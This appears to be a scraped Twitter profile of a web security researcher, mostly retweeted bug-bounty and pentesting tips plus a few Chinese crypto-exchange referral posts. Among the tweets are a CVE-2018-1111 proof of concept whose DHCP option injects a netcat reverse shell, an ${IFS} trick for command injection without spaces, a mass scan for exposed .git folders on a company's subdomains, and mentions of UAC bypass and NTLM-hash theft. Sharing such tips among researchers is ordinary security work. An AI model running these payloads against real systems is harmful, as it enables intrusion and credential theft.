xk0n @xk0n_

web security researcher Joined November 2014

Tweets

53
Followers

23
Following

757
Likes

220

xk0n @xk0n_

2 years ago

使用欧易 Web3 钱包，快人一步免费领取 Moca ID ！ okx.com/cn/web3/gamefi… #OKX #GameFi #Mocaverse #OKXGameFi

0 0 0 7 0

xk0n @xk0n_

2 years ago

下载并注册 Bitget，立即领取 1000 USDT 新人大礼包！ bitgetapp.com/zh-CN/news/det…

0 0 0 7 0

xk0n @xk0n_

2 years ago

免费领红包！

0 0 1 30 0

Download Image

Felix Wilhelm @_fel1x

3 years ago

If you perform SAML auth in Java you should make sure you patched bugs.chromium.org/p/project-zero…. RCE during signature verification. Blogpost coming soon™.

5 125 369 0 57

New: curl -s "crt.sh/?q=%25.tesla.c…" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew @b51b5b43 @Jhaddix @stokfredrik @TomNomNom

12 217 565 0 182

Download Image

BitK @BitK_

5 years ago

I found another way to do HTTP smuggling, you can use T-E: chunKed K is the Kelvin symbol (%E2%84%AA) If the header is converted to lowercase, you get 'chunked' in ascii, if it's converted to uppercase it will stay the same (invalid) cc @albinowax

6 110 452 0 121

Wietze @Wietze

5 years ago

It turns out nearly 300 executables in your System32 folder are vulnerable to relative path DLL Hijacking. Did you know that with a simple VBScript some of these EXEs can be used to elevate such executions, bypassing UAC entirely? Full blog post here 👉 wietze.github.io/blog/hijacking…

29 957 2K 0 444

Download Image

Rahul Maini @iamnoooob

6 years ago

Reproduced CVE-2020-10199 Nexus Repo Manager RCE with @rootxharsh securitylab.github.com/advisories/GHS… states that this is an auth'd RCE. However, on the version, we tested i.e. 3.21.0-05, the payload is executed before the authentication check AKA pre-auth RCE //cc: @pwntester

3 56 169 0 9

Download Image

ZaX @ReeverZax

5 years ago

We (w/ @__hach_) found a vulnerability in Kubernetes: - CVE-2020–8555 - +40K$ crazy bounties - Really cool stuff about exploitation on BIG Bug Bounty programs Read more here: medium.com/@BreizhZeroDay…

7 228 471 0 94

Hack3rScr0lls @hackerscrolls

5 years ago

You asked for something about OAuth — we did. Here is a mindmap about hacking OAuth 2.0. We tried to cover all possible ways even with low impact. Our inspiration was homakov.blogspot.com/search?q=oauth Thanks to @homakov for outstanding articles. #BugBountyTip #CyberSecurity #BugBounty

11 795 2K 0 516

Download Image

Soroush Dalili @irsdl

5 years ago

.@NahamSec you asked me yesterday about how to learn deserialization attacks - So...

10 228 590 0 331

Emad Shanab - أبو عبد الله @Alra3ees

6 years ago

Mobile Application Pentesting : Part 1:- medium.com/@patilpiyush/m… Part 2:- medium.com/@patilpiyush/m… Part 3:- medium.com/@patilpiyush/m… Part 4:- medium.com/@patilpiyush/m… Part 5:- medium.com/@patilpiyush/m… Part 6:- medium.com/@patilpiyush/m…

9 617 1K 0 356

🇵🇸 1nclud3 🇵🇸 @1nclud3

6 years ago

- Execute bash commands without spaces with two methods: 1- {ping,-c,1,127.0.0.1} 2- ping${IFS}-c${IFS}1${IFS}127.0.0.1 - terminal will translate ${IFS} into a space Thanks @ippsec

3 236 675 0 98

Jason Lang @curi0usJack

7 years ago

Red Team: Do you know what data your offensive operations are leaking via TLS negotiations? Neither did I until a friend showed me. Blue Team: Good blocking & detection potential. Worth your interest! Start here: github.com/salesforce/ja3 Thanks @haroldogden!

14 299 707 0 60

Roi @rmallof

7 years ago

List of bug bounty writeups pentester.land/list-of-bug-bo…

0 59 123 0 6

Barkın Kılıç @Barknkilic

7 years ago

#CVE-2018-1111 tweetable PoC :) dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #" cc: @cnbrkbolat

17 788 1K 0 25

Download Image

Vincent Yiu @vysecurity

7 years ago

dnsdb.io has tons of domain data for your pentesting needs :)

5 102 288 0 21

Julio Della Flora @jcldf

7 years ago

Bad-PDF create malicious PDF to steal NTLM Hashes from windows machines, it utilize vulnerability disclosed by checkpoint team to create the malicious PDF file. Bad-Pdf reads the NTLM hashes using Responder listener. This method work on all PDF readers(… ift.tt/2I58Ydk